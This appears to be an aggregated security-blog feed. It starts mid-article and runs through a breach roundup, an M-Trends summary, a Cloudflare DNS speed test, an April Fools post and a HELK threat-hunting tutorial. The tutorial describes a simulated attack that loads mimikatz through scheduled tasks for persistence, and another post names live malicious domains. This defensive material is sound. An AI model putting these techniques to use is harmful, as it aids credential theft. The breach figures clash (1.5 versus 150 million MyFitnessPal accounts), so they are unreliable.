At a glance you can understand that something shady is going on with wonderf00l.gq and you are able to discover other malicious domains such as flashinglight.tk, checkingupd.tk, flashupdservice.cf, etc. Some of these, for instance checkolimpupd.tk, are not only used as C2 infrastructure for malware but also serve as malware distribution points.

Very often during an investigation, you might not have enough context about an individual threat, and so being able to look at the connected URLs, domains, files, IP addresses, etc. becomes crucial in understanding what is going on. My colleague Evan explains this far better than I can do in just a couple of paragraphs, so make sure you check out his video dissecting a cryptomining attack at https://www.virustotal.com/learn/watch/.

Wrapping up, don’t think of this as just new functionality to dissect individual threats. All of this data contributes to the bigger picture and increases the power of our telescope lens that sheds light into malicious behaviors on the Internet.  

Cyber Security Roundup for March 2018

In the wake of the global political fallout over the Salisbury nerve agent attack, there are reports of a growing threat of Russian state or Russian state-affiliated hacking groups conducting cyber attack reprisals against UK organisations, government officials have directly warned bosses at electricity, gas and water firms, Whitehall departments and NHS hospitals to prepare for a state-sponsored cyber assault


Large-scale data breaches were disclosed with Under Armour’s Fitness App MyFitnessPal (1.5 million personal records compromised), Orbitz (880k payment cards at risk), and at a Walmart partner (1.3 million personal records compromised). The latter was caused when an AWS S3 bucket holding a Walmart database was left with open access, which isn't the first time a cloud service misconfiguration has caused a major data breach.

TalkTalk were warned about their website’s poor security after a hacker known as 'B' disclosed a cross-site scripting vulnerability on the talktalk.co.uk website to Sky News. TalkTalk was given a record £400,000 fine by the Information Commissioner's Office following a major website breach in October 2015, which 157,000 customer details were stolen. And the company were told to "be more diligent and more vigilant” and was fined a further £100,000 after data belonging to 21,000 customers were exposed to "rogue" staff at an Indian call centre.

GitHub survived the largest ever DDoS attack recorded thanks to Akamai DDoS protection, which peaked at a massive 1.35 terabytes of data per second.

UK schools were warned they were soft targets for cybercriminals, experts believe many schools are ill-equipped to prevent cyber thefts, with sensitive data such as children’s medical records said to be lucrative on the dark web. There has been a number of security incidents disclosed involving UK schools in recent months.
Gwent Police are facing scrutiny by the Information Commissioner's Office for not informing 450 people that hackers may have accessed their personal information, after discovering the breach over a year ago.

A hacker alleged to be behind a gang the ran the Carbanak and Cobalt bank target malware has been arrested. The gang is reported to be responsible for the theft of up to billion euros through bank transfers and from cash machines, from over 100 banks since 2013


NEWS

AWARENESS, EDUCATION AND THREAT INTELLIGENCE

REPORTS

Cyber Security Lesson Brief from the Under Armour Breach

The Under Armour breach provides lessons in the do’s and don’ts of enterprise cyber security and compliance with the EU GDPR

Last week, athletic apparel manufacturer Under Armour announced that its popular MyFitnessPal weight loss and fitness tracking app had been hacked, compromising 150 million accounts. The Under Armour breach is the largest data breach so far this year and ranks among the top five to date. It also makes a good case study in the do’s and don’ts of enterprise cyber security. Let’s examine the lessons enterprises can take away from the Under Armour breach and its fallout, especially as the deadline for the EU GDPR approaches on May 25.

Cyber Security Lesson Brief from the Under Armour Breach

If a breach does happen, prompt disclosure is crucial.

The Under Armour breach was discovered on March 25 and disclosed only four days later; compare this to Equifax, which waited several weeks to notify users it had been hacked (and then chose to do so while the nation’s attention was focused on Hurricane Irma), and Uber, which waited more than a year (after attempting to cover the breach up). Prompt disclosure is going to be even more important under the GDPR, which will require organizations to report breaches within 72 hours.

Segment your data, and collect only the data you need.

The Under Armour breach involved only user names, email addresses, and encrypted passwords. The MyFitnessPal app does not collect Social Security numbers or other government identifiers, and payment information is stored separately, in a part of the system the hackers did not breach.

The GDPR requires organizations to bake data security into their products, policies, procedures, and systems from day one. While network segmentation alone does not constitute data security, it goes a long way towards demonstrating due diligence.

The GDPR will also require organizations to provide users with a plain-language explanation of what user data they are collecting and what they intend on doing with it. If you don’t absolutely need a particular piece of personal information to conduct your business, don’t collect it.

Properly encrypt and salt user passwords.

This is where Under Armour dropped the ball. The company states that while “the majority” of the compromised passwords were hashed using the robust bcrypt hashing function, at least some of the passwords were hashed using the notoriously hackable SHA-1 function. Under Armour has not disclosed why only some of the passwords were encrypted with bcrypt. It also has not specified whether the bcrypt-hashed passwords were salted for extra protection, which involves appending random data that is unique to each user and saving it along with their password.

To properly protect user passwords and fulfill the security requirements of the GDPR, make sure you are using a robust hashing function and salting user passwords. As strong as bcrypt is, it is not unbreakable; the Ashley Madison hack involved 36 million passwords hashed using bcrypt.

Do not reuse passwords.

Although the Under Armour breach yielded “only” email addresses and login credentials, not payment data or sensitive personal data like Social Security Numbers, a lot of people use the same set of login credentials on multiple sites. Armed with these credentials, hackers could attempt to use them on banking, shopping, or social media sites and to access victims’ email accounts. This underscores the importance of using a different, strong password for every system, website, and app.

If you have a MyFitnessPal account, you should log in and change your password right now. If you reused your MyFitnessPal password on any other sites, make sure to change those, too.

The cyber security experts at Lazarus Alliance have deep knowledge of the cyber security field, are continually monitoring the latest information security threats, and are committed to protecting organizations of all sizes from security breaches. Our full-service risk assessment services and Continuum GRC RegTech software will help protect your organization from data breaches, ransomware attacks, and other cyber threats.

Lazarus Alliance is proactive cyber security®. Call 1-888-896-7580 to discuss your organization’s cyber security needs and find out how we can help your organization adhere to cyber security regulations, maintain compliance, and secure your systems.

The post Cyber Security Lesson Brief from the Under Armour Breach appeared first on .

M-Trends 2018

What have incident responders observed and learned from cyber attacks in 2017? Just as in prior years, we have continued to see the cyber security threat landscape evolve. Over the past twelve months we have observed a number of new trends and changes to attacks, but we have also seen how certain trends and predictions from the past have been confirmed or even reconfirmed.

Our 9th edition of M-Trends draws upon the findings of one year of incident response investigations across the globe. This data provides us with insights into the evolution of nation-state sponsored threat actors, new threat groups, and new trends and attacker techniques we have observed during our investigations. We also compare this data to past observations from prior M-Trends reports and continue our tradition of reporting on key metrics and their development over time.

Some of the topics we cover in the 2018 M-Trends report include:

  • How the global median time from compromise to internal discovery has dropped from 80 days in 2016 to 57.5 in 2017.
  • The increase of attacks originating from threat actors sponsored by Iran.
  • Metrics about attacks that have retargeted or even recompromised prior victim organizations, a topic we previously discussed in our 2013 edition of M-Trends.
  • The widening cyber security skills gap and the rising demand for skilled personnel capable of meeting the challenges posed by today’s more sophisticated threat actors.
  • Frequently observed areas of weaknesses in security programs and their relation to security incidents.
  • Observations and lessons we have learned from our red teaming exercises about the effectiveness and gaps of common security controls.

By sharing this report with the security community, we continue our tradition of providing security professionals with insights and knowledge gained from recent breaches. We hope that you find this report useful in your work to strengthen your security posture and defend against the ever evolving threats.

Cloudflare Quad 1 DNS is privacy-centric and blazing fast

Cloudflare Quad 1 DNS is privacy-centric and blazing fast

This year I have witnessed too many DNS stories - rising from the Government censorship programs to privacy-centric secure DNS (DNS over TLS) in order to protect the customers' queries from profiling or profiting businesses. There are some DNS which are attempting to block the malicious sites (IBM Quad9 DNS and SafeDNS) while others are trying to give un-restricted access to the world (Google DNS and CISCO OpenDNS) at low or no costs.

Yesterday, I read that Cloudflare has joined the race with it's DNS service (Quad1, or 1.1.1.1), and before I dig further (#punintended) let me tell you - it's blazing fast! Initially I thought it's a classic April Fool's prank but then Quad1, or 1.1.1.1 or 4/1 made sense. This is not a prank, and it works just as proposed. Now, this blog post shall summarize some speed tests, and highlight why it's best to use Cloudflare Quad1 DNS.

Quad1 DNS 1.1.1.1 Speed Test

To test the query time speeds (in milliseconds or ms), I shall resolve 3 sites: cybersins.com, my girl friend's website palunite.de and my friend's blog namastehappiness.com against 4 existing DNS services - Google DNS (8.8.8.8), OpenDNS (208.67.222.222), SafeDNS (195.46.39.39), IBM Quad9 DNS (9.9.9.9) and Cloudflare Quad1 (1.1.1.1)

Website Google DNS OpenDNS IBM Quad9 SafeDNS CloudFlare
cybersins.com 158 187 43 238 6
palunite.de 365 476 233 338 3
namastehappiness.com 207 231 178 336 3

Cloudflare Quad 1 DNS is privacy-centric and blazing fast

This looks so unrealistic, that I had to execute these tests again to verify, and these numbers are indeed true.

Privacy and Security with Quad1 DNS 1.1.1.1

This is the key element that has not been addressed for quite a while. The existing DNS services are slow, but as well store logs and can profile a user based on the domains they query. The existing DNS services run on UDP port 53, and are vulnerable to MITM (man in the middle) kind of attacks. Also, your ISP has visibility in this clear text traffic to sensor or monetize you, if required. In the blogpost last weekend, Matthew Prince, co-founder and CEO of Cloudflare mentioned,

The web should have been encrypted from the beginning. It's a bug it wasn't. We're doing what we can do fix it ... DNS itself is a 35-year-old protocol and it's showing its age. It was never designed with privacy or security in mind.

The Cloudflare Quad1 DNS overcomes this by supporting both DNS over TLS and HTTPS which means you can setup your internal DNS server and then route the queries to Cloudflare DNS over TLS or HTTPS. To address the story behind the Quad1 or 1.1.1.1 choice, Matthew Prince quoted,

But DNS resolvers inherently can't use a catchy domain because they are what have to be queried in order to figure out the IP address of a domain. It's a chicken and egg problem. And, if we wanted the service to be of help in times of crisis like the attempted Turkish coup, we needed something easy enough to remember and spraypaint on walls.

Kudos to Cloudflare for launching this service, and committing to the privacy and security of the end-users in keeping short-lived logs. Cloudflare confirmed that they don't see a need to write customer's IP addresses to the disk, and retain the logs for more than 24 hours.

Cheers and be safe.

toolsmith #132 – The HELK vs APTSimulator – Part 2


Continuing where we left off in The HELK vs APTSimulator - Part 1, I will focus our attention on additional, useful HELK features to aid you in your threat hunting practice. HELK offers Apache Spark, GraphFrames, and Jupyter Notebooks  as part of its lab offering. These capabilities scale well beyond a standard ELK stack, this really is where parallel computing and significantly improved processing and analytics truly take hold. This is a great way to introduce yourself to these technologies, all on a unified platform.

Let me break these down for you a little bit in case you haven't been exposed to these technologies yet. First and foremost, refer to @Cyb3rWard0g's wiki page on how he's designed it for his HELK implementation, as seen in Figure 1.
Figure 1: HELK Architecture
First, Apache Spark. For HELK, "Elasticsearch-hadoop provides native integration between Elasticsearch and Apache Spark, in the form of an RDD (Resilient Distributed Dataset) (or Pair RDD to be precise) that can read data from Elasticsearch." Per the Apache Spark FAQ, "Spark is a fast and general processing engine compatible with Hadoop data" to deliver "lighting-fast cluster computing."
Second, GraphFrames. From the GraphFrames overview, "GraphFrames is a package for Apache Spark which provides DataFrame-based Graphs. GraphFrames represent graphs: vertices (e.g., users) and edges (e.g., relationships between users). GraphFrames also provide powerful tools for running queries and standard graph algorithms. With GraphFrames, you can easily search for patterns within graphs, find important vertices, and more." 
Finally, Jupyter Notebooks to pull it all together.
From Jupyter.org: "The Jupyter Notebook is an open-source web application that allows you to create and share documents that contain live code, equations, visualizations and narrative text. Uses include: data cleaning and transformation, numerical simulation, statistical modeling, data visualization, machine learning, and much more." Jupyter Notebooks provide a higher order of analyst/analytics capabilities, if you haven't dipped your toe in that water, this may be your first, best opportunity.
Let's take a look at using Jupyter Notebooks with the data populated to my Docker-based HELK instance as implemented in Part 1. I repopulated my HELK instance with new data from a different, bare metal Windows instance reporting to HELK with Winlogbeat, Sysmon enabled, and looking mighty compromised thanks to @cyb3rops's APTSimulator.
To make use of Jupyter Notebooks, you need your JUPYTER CURRENT TOKEN to access the Jupyter Notebook web interface. It was presented to you when your HELK installation completed, but you can easily retrieve it via sudo docker logs helk-analytics, then copy and paste the URL into your browser to connect for the first time with a token. It will look like this,
http://localhost:8880/?token=3f46301da4cd20011391327647000e8006ee3574cab0b163, as described in the Installation wiki. After browsing to the URL with said token, you can begin at http://localhost:8880/lab, where you should immediately proceed to the Check_Spark_Graphframes_Integrations.ipynb notebook. It's found in the hierarchy menu under training > jupyter_notebooks > getting_started. This notebook is essential to confirming you're ingesting data properly with HELK and that its integrations are fully functioning. Step through it one cell at a time with the play button, allowing each task to complete so as to avoid errors. Remember the above mentioned Resilient Distributed Dataset? This notebook will create a Spark RDD on top of Elasticsearch using the logs-endpoint-winevent-sysmon-* (Sysmon logs) index as source, and do the same thing with the logs-endpoint-winevent-security-* (Window Security Event logs) index as source, as seen in Figure 2.
Figure 2: Windows Security EVT Spark RDD
The notebook will also query your Windows security events via Spark SQL, then print the schema with:
df = spark.read.format("org.elasticsearch.spark.sql").load("logs-endpoint-winevent-security-*/doc")
df.printSchema()
The result should resemble Figure 3.
Figure 3: Schema
Assuming all matches with relative consistency in your experiment, let's move on to the Sysmon_ProcessCreate_Graph.ipynb notebook, found in training > jupyter_notebooks. This notebook will again call on the Elasticsearch Sysmon index and create vertices and edges dataframes, then create a graph produced with GraphFrame built from those same vertices and edges. Here's a little walk-through.
The v parameter (yes, for vertices) is populated with:
v = df.withColumn("id", df.process_guid).select("id","user_name","host_name","process_parent_name","process_name","action")
v = v.filter(v.action == "processcreate")
Showing the top three rows of that result set, with v.show(3,truncate=False), appears as Figure 4 in the notebook, with the data from my APTSimulator "victim" system, N2KND-PC.
Figure 4: WTF, Florian :-)
The epic, uber threat hunter in me believes that APTSimulator created nslookup, 7z, and regedit as processes via cmd.exe. Genius, right? :-)
The e parameter (yes, for edges) is populated with:
e = df.filter(df.action == "processcreate").selectExpr("process_parent_guid as src","process_guid as dst").withColumn("relationship", lit("spawned"))
Showing the top three rows of that result set, with e.show(3,truncate=False), produces the source and destination process IDs as it pertains to the spawning relationship.
Now, to create a graph from the vertices and edges dataframes as defined in the v & e parameters with g = GraphFrame(v, e). Let's bring it home with a hunt for Process A spawning Process B AND Process B Spawning Process C, the code needed, and the result, are seen from the notebook in Figure 5.
Figure 5: APTSimulator's happy spawn
Oh, yes, APTSimulator fully realized in a nice graph. Great example seen in cmd.exe spawning wscript.exe, which then spawns rundll32.exe. Or cmd.exe spawning powershell.exe and schtasks.exe.
Need confirmation? Florian's CactusTorch JS dropper is detailed in Figure 6, specifically cmd.exe > wscript.exe > rundll32.exe.
Figure 6: APTSimulator source for CactusTorch
Still not convinced? How about APTSimulator's schtasks.bat, where APTSimulator kindly loads mimikatz with schtasks.exe for persistence, per Figure 7?
Figure 7: schtasks.bat
I certainly hope that the HELK's graph results matching nicely with APTSimulator source meets with your satisfaction.
The HELK vs APTSimulator ends with a glorious flourish, these two monsters in their field belong in every lab to practice red versus blue, attack and defend, compromise and detect. I haven't been this happy to be a practitioner in the defense against the dark arts in quite awhile. My sincere thanks to Roberto and Florian for their great work on the HELK and APTSimulator. I can't suggest strongly enough how much you'll benefit from taking the time to run through Part 1 and 2 of The HELK vs APTSimulator for yourself. Both tools are well documented on their respective Githubs, go now, get started, profit.
Cheers...until next time.

Information Security and the Zero-Sum Game

A zero-sum game is a mathematical representation of a situation in which each participant’s gain or loss is exactly balanced by the losses or gains of the other participant. In Information Security a zero-sum game usually references the trade-off between being secure and having privacy. However, there is another zero-sum game often played with Information […]

Meet FORTUNE COOKIE

VirusTotal is always working to improve our users' experience and our partner ecosystem. We have a robust community of security professionals who research, study, and collaborate through VirusTotal's diverse tools and capabilities.

In our labs, our top engineers are working hard to develop new ways of understanding how samples relate to each other, to campaigns, and to the users who ultimately fall victim to them.

We're thrilled to share with you the brand new VirusTotal Free Object Randomized Tester Utilizing Nil Evaluative Code with Object Oriented K-means Inference Engine, or FORTUNE COOKIE for short.

FORTUNE COOKIE is a bleeding edge system that brings about a highly accurate randomized verdict for your entertainment and enjoyment. It knows very little about malware, reverse engineering, or file analysis, but could theoretically be capable of leveraging machine learning, blockchain, and/or random numbers to bring about an entirely new class of verdicts.

An example of its detection capabilities can be found below:


We think FORTUNE COOKIE will change the way you use VirusTotal, and due to the incredibly amazing power it offers, it will only be available for a short time.

Enjoy!